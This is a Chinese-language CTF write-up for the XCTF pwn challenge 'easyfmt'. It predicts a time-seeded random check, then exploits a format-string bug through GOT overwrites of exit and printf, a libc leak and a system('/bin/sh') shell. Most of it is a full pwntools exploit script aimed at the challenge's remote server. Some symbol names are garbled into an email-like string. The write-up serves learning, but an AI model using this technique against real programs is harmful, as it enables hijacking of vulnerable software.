easyfmt(xctf)
0x0 程序保护和流程
保护:
流程:
main()
可以发现在if中存在格式化字符串漏洞。但需要通过CheckIn()的返回值决定是否执行if中的语句。
通过一个time()获取当前时间,并将当前时间当成srand()的seed,之后根据seed产生出的随机数对5取模再加48存放在v3[0]中,之后将输入的值跟v1进行比较返回结果。
0x1 利用过程
1.想要利用格式化字符串漏洞就必须绕过CheckIn()的限制,因为反汇编出来的源码可能会有一点问题,因此对汇编代码进行分析。
通过分析可知程序将随机数存放在了rbp-30h中,并且最后是将输入的数字与rbp-30h中的数据进行对比。所以可以使用python中的ctypes库调用libc中的函数,进行和程序相同的操作。
from ctypes import *
libc=cdll.LoadLibrary('./libc')
libc.srand(libc.time(0))
check=libc.rand()%5+48
这样就可以利用格式化字符串漏洞了。
2.确定程序的偏移量为8
3.一次利用格式化字符串漏洞并不能实现实现getshell,所以需要修改程序的流程,又因为程序是通过exit函数进行退出的,因此无法利用返回地址控制流程。结合程序的got表可写,在main函数中有两个函数在printf函数后执行所以选择改写exit函数的got表地址。还有一个原因是exit函数在调用时第一次调用,所以它的got表中的数据指向aaa@qq.com+6的位置,而这个位置跟main函数在同一个内存页上,所以只需修改改低n位(n<=3)就可以将流程劫持。
4.通过上述分析可以可以得出大体思路。先绕过CheckIn(),改写exit函数的got表为main函数上的位置,泄露函数地址,得到system函数的地址,将system函数的地址写入printf函数的got表,输入/bin/sh就可以完成getshell。
绕过CheckIn()
from ctypes import *
libc=cdll.LoadLibrary('./libc')
libc.srand(libc.time(0))
check=libc.rand()%5+48
sh.sendafter('enter:',p64(check))
改写exit函数的got表中的数据为main+0x7C,是if中的第一条语句与aaa@qq.com+6只有后两个字节不一样。
main+0x7C
aaa@qq.com+6
# 偏移为8,加上16个字符后就是10 printf函数遇到'\x00'就截断了,所以exit_got放后面
payload=('%'+str(0x982)+'c%10$hn').ljust(16,'a')+p64(exit_got)
sh.sendafter('slogan: ',payload)
泄露函数地址。这里要注意,call exit会压栈导致rsp-8,但改写了exit的got表中的数据后,并没有ret指令将rsp+8,所以偏移量加一。
payload='%10$saaa'+p64(printf_got) # 9
sh.sendafter('slogan: ',payload)
sh.recv(1)
printf_addr=u64(sh.recvuntil('aaa',drop = True).ljust(8,'\x00'))
if local:
libc_base=printf_addr-printf_libc
system_addr=libc_base+system_libc
print hex(system_addr)
else:
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
system_addr=libc_base+libc.dump('system')
print hex(system_addr)
将system函数的地址写入printf函数的got表。因为真实地址都在libc中,所以都在同一个内存页中,只需要改低n位(n<=3)就可以完成。
char1=system_addr&0xff
payload='%'+str(char1)+'c%14$hhn' # 10
char2=((system_addr&0xffffff)>>8)-char1
payload+='%'+str(char2)+'c%15$hn'
payload=payload.ljust(32,'a')+p64(printf_got)+p64(printf_got+1)
sh.sendafter('slogan: ',payload)
输入/bin/sh就可以完成getshell。
sh.sendafter('slogan: ','/bin/sh\x00')
sh.interactive()
0x2 exp
tips:远程在输入check报错时的可以多试几次,这个错误原因在于服务器上的时间加上数据传输的时间和脚本调用time函数的时间的不一致导致的。在本地调试中出现这种情况的概率很小。
from pwn import *
from ctypes import *
from LibcSearcher import *
context.log_level='debug'
local=0
_libc=cdll.LoadLibrary("./libc")
if local:
libc=ELF('./libc')
read_libc=libc.symbols['read']
system_libc=libc.symbols['system']
sh=process('./a')
else:
sh=remote('220.249.52.133','43889')
_libc.srand(_libc.time(0))
check=_libc.rand()%5+48
sh.sendafter('enter:',p64(check))
elf=ELF('./a')
exit_got=elf.got['exit']
printf_got=elf.got['printf']
read_got=elf.got['read']
payload=('%'+str(0x982)+'c%10$hn').ljust(16,'a')+p64(exit_got) # 8
sh.sendafter('slogan: ',payload)
payload='%10$saaa'+p64(read_got) # 9
sh.sendafter('slogan: ',payload)
sh.recv(1)
read_addr=u64(sh.recvuntil('aaa',drop = True).ljust(8,'\x00'))
if local:
libc_base=read_addr-read_libc
system_addr=libc_base+system_libc
print hex(system_addr)
else:
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
print hex(system_addr)
char1=system_addr&0xff
payload='%'+str(char1)+'c%14$hhn' # 10
char2=((system_addr&0xffffff)>>8)-char1
payload+='%'+str(char2)+'c%15$hn'
payload=payload.ljust(32,'a')+p64(printf_got)+p64(printf_got+1)
sh.sendafter('slogan: ',payload)
sh.sendafter('slogan: ','/bin/sh\x00')
sh.interactive()
上一篇: 2、这是一张单纯的图片
下一篇: pwn之cgpwn2